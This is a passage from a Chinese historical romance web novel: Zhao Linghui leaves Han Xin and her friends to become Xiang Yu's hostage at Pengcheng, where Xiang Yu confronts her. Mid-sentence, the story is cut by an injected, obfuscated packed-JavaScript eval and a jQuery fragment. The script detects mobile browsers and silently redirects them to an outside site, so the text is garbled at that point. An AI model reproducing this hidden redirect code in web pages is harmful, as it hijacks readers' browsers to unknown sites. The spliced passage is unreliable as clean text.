赵令徽凑上前去,空着的一只手去扒他的眼睛:“别装了,你一直醒着,我知道呢。”
韩信不动如山。
赵令徽生气了,手下用了点力气,韩信“呜”了一声。
就在赵令徽以为他要继续装下去的时候,韩信睁开眼,长臂拢过赵令徽,将她紧紧箍在自己怀里,防止她继续作恶,他将下颌垫在她毛茸茸的脑袋上:“令徽,别走,好不好?”
赵令徽卸了手中力道,在他怀里蹭了蹭,讥笑:“怎么,不装睡了?不躲我了?”
“不是躲你……”他声音听起来十分郁闷。
“不是躲我,你们商讨战局不叫我,你还让人把我看起来,怎么,你要把我这个司马架空啊?”赵令徽报复似地掐了把他的胸口。
“我不能让你去冒险。”他收紧手臂,让两个人紧贴在一起,“对不起。”
原谅他,她是他在这世间仅存的私欲。
赵令徽叹口气,缓声劝他:“重言,这是我的路,我自己的路,我要自己走,谁都替不了。你要挡我的路吗,重言?”
白日里,她跟曹参商榷时,她甚至想过让冯珥把韩信打晕了绑起来,然后她自己去。
思忖些时候,她否定了这个荒谬的想法。先不论这个计策的可行性,单说真办成了,韩信情绪过来,是什么局面,她难以估测。
虽说以他的脾性不会做出什么难以挽回之事,但谨慎而言,还是怀柔为好。
他倔强地道:“别的我都依你,这个不行。”
“别说项羽得到了我就会撤军,就算他们不撤军,我也得去。”赵令徽手圈上他的腰,“这是我对大王的示忠。如果我去了,侥幸活着回来,那是为大王受苦,加官进爵,封侯拜相,少不了我的。如果我不去,就算是活着,就算是荥阳解困,大王也会恨我,恨我没有在他紧需的时候投身为他解困,怀疑我的忠心。将来,朝堂之上就没有我的一席之地。重言,你忍心看着我筹谋这么久,全做了东流水吗?”
韩信没有说话,只是将她抱的更紧,恨不得将她揉进自己怀里。
有泪水打湿了她背上的衣衫。
“若我能替你就好了。”韩信恨自己的无用。
赵令徽挣扎着从他怀里探出个脑袋,伸手摸摸他泪水纵横的脸:“你怎么这么傻,这是我自己的路,别人替不了我的。多大个人了,还哭,叫曹参和钟离昩看去,可要嗤笑你,你这大将军的威风,去哪里找呀。”
把湿乎乎的手心在他寝衣上蹭了蹭,赵令徽半试探半开玩笑:“我要是死在了彭城,不是正好嘛,少了个人算计你,你的大仇得报,岂不是呜……”
赵令徽被捂住了嘴巴,她眨眨眼,无辜地看着他:“呜呜呜呜……”
“不许你说这种话。”韩信低头,唇落在她眉上,细细地吻她的眉眼,“我们之间没有仇怨。我宁肯你算计我,宁肯你捅我刀子,宁肯我自己死。只要你好好活着,只要你快活。”
“那等我回来,你天天给我欺负。”赵令徽手在他腰上来回摩挲,“不许还手的。”
“求之不得。”
.
“我要是回不来,你们记得给我坟前放壶桃花酒,不用每年都送,隔几年送一壶就行。你得空了,去我坟前跟我说说话,要是太久没人跟我说话,我会无聊的。哎,将来你们风光了,也劳烦你们替我在大王面前求个恩典,侯我已经封了,给我追封个丞相什么的更好了……”赵令徽牵着马,在军营门口和张望卿她们告别。
赵令徽怕灌婴、陈贺几个闹腾,就没告诉他们,因此只有张望卿她们来送她。
“你快别说了令徽。”张望卿泫然欲泣,瘪着嘴,一脸苦相,“你再说,我就不让你走了。管他什么……”
赵令徽眼疾手快地捂住她的嘴巴,嘿嘿一笑,抬手替她擦了眼泪:“好望卿,别哭了,你一哭,我就心疼。方才我说笑,逗你玩的呢,我会活着回来的。”
这话是是半真半假。赵令徽自己心里也没底,能不能活着回来。项羽不惜以荥阳来威胁,必然是对她恨到了骨子里,哪里能轻易放过她呢?项羽恨一个人,一定要一个人死不可。
冯珥哽咽,忍着没落泪:“你一定要回来,一定,你答应我的。”
景易没说话,只是以一种悲悯的眼神看着她。
“好。”赵令徽笑着点头,又转头看张望卿,“望卿,别哭了,好好的郎君,哭的什么样子,我又不是不回来了。”
张望卿哭的更凶了:“我、我跟你一起去,我……”
赵令徽再次迅速捂住了她的嘴,生怕她一个不小心,把在彭城的事情抖出来:“好了好了,我会活着回来的。”
“司马。”一个清朗的声音从她身后传来,赵令徽回过头——是王离。
“你怎么来了。”赵令徽一边拍拍张望卿的肩膀当作抚慰,一边打量王离这副打扮,“你这是……”
“我跟你一起去。”王离不是商量的语气,而是通知的语气。
赵令徽“噗嗤”笑出声来:“项羽点名要我,你跟我一起去干什么?”
“事情是我们一起做的,我要跟司马同生共死。”王离神色坚定。
赵令徽的关中穴又开始跳了,这个节骨眼上,怎么又来了个刺头。
“死什么死。”赵令徽掐腰,“是汉军不够你训练,还是敌人不够你杀,整天把死不死的挂在嘴上。”
缓和下面色,赵令徽道:“听话,赶紧回去。你跟我同去,对项羽来说,不过是多杀一个人。对我们来说,却是折损一个将军。你好好留在这里,听大将军的话,说不定还能早日救我出来。”
赵令徽有那么一瞬间觉得自己苦口婆心。
王离瞬间耷拉下头来,又不想再辛苦赵令徽来劝说自己,强撑起笑脸:“那司马一定平安回来啊。”
他是真的存了和她共生死的心。
旁人不知道她的女儿身,他知道。知道以后,他对她的心疼更多。她比所有人承受地都要多,却总是和声细语地反过来劝慰别人。
哪怕是放在他什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262824|166789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没有失去之前,这样的人,他也不敢肖想。
可这样好的人,肯分一些目光,给落魄的他。
赵令徽笑着应了他,本来想摸摸他的脑袋,觉得在大庭广众之下不太好,改为拍拍他的肩膀。
王离红了眼眶,努力挤出一个比哭还难看的笑。
即将到了分别之时,一直在人群后面默默无言的韩信,大步走上前,抱住了赵令徽。
他用很低的声音道:“你一定会平安回来的。”
赵令徽拍拍他的背,什么也没说。
赵令徽翻身上马,和西楚的使者一起,打马出了高密。身后似乎有人放声大哭,赵令徽头也没回。
她自己也知道,此去凶多吉少,但,富贵险中求。
一出高密,使者就要求给赵令徽捆上绳索。
赵令徽道:“我虽是人质,却也是汉军的司马,未到彭城之前,就算不得阶下囚,和你们是平起平坐的。你们身为项王的身边人,应当知道这些礼节,否则传出去,说楚国都是一群蛮夷,不识礼节,岂不是叫人贻笑大方?况且,我不过一介文弱书生,手无缚鸡之力,你们这么多人,还害怕我跑了不成?既然我已答应你们做人质,又岂会言而无信?我身为臣子,怎会置我们大王的安危于不顾?你们把我绑起来,反倒让行进的速度变慢耽误了行程。我还等着荥阳赶紧解困呢。”
为首的使者觉得她说得有道理,便没有再坚持。
有了赵令徽的一番话,使者也不敢对她怠慢,一路上,她倒也没吃什么苦头。
到达彭城的前一夜,赵令徽在客栈里久久没有入睡。
项羽恨她,恨她恨得入骨。以项羽的脾气,不会慢慢折磨她,一定会立即杀了她,还是会以最残忍的方式。
被骗过一次的项羽,没有那么好骗了。项羽本就对她有杀意,上次还顾忌着名声,这次是真的名正言顺了。
要想保命,那就只有——
.
“汉军司马赵令徽,参见大王。”
赵令徽一进彭城,就被人绑上了。她几乎是被拎到了项羽面前,然后丢了过去。
丢她的人力气好大,摔的她眼冒金星。但她不得不忍着疼痛,挣扎着直起身来。
“你是陶晖,还是赵令徽?”项羽龙目半垂,掩盖不住眸中翻涌的杀意。
“赵令徽是臣,陶晖也是臣。”赵令徽大大方方地承认,“一别近一载,大王身子可好?看起来,大王的精神,比臣走时还好。”
“好,怎么能不好!”项羽把酒爵重重掷在地上,冷笑道,“拜你所赐,我楚军将士折损了三十多万。你杀我重臣,乱我楚国,孤可是日日夜夜都想你,想你想的恨不得能将你千刀万剐!如今你成为孤的阶下囚,孤怎么能不不高兴!”
“大王说笑了,三十万楚军的折损,非臣一人之功,而是大将军和我们大王的功劳,臣,不敢贪功。”赵令徽诚惶诚恐道。
赵令徽的语气让项羽火冒三丈,血液都沸腾起来,杀人的欲望,越来越强烈。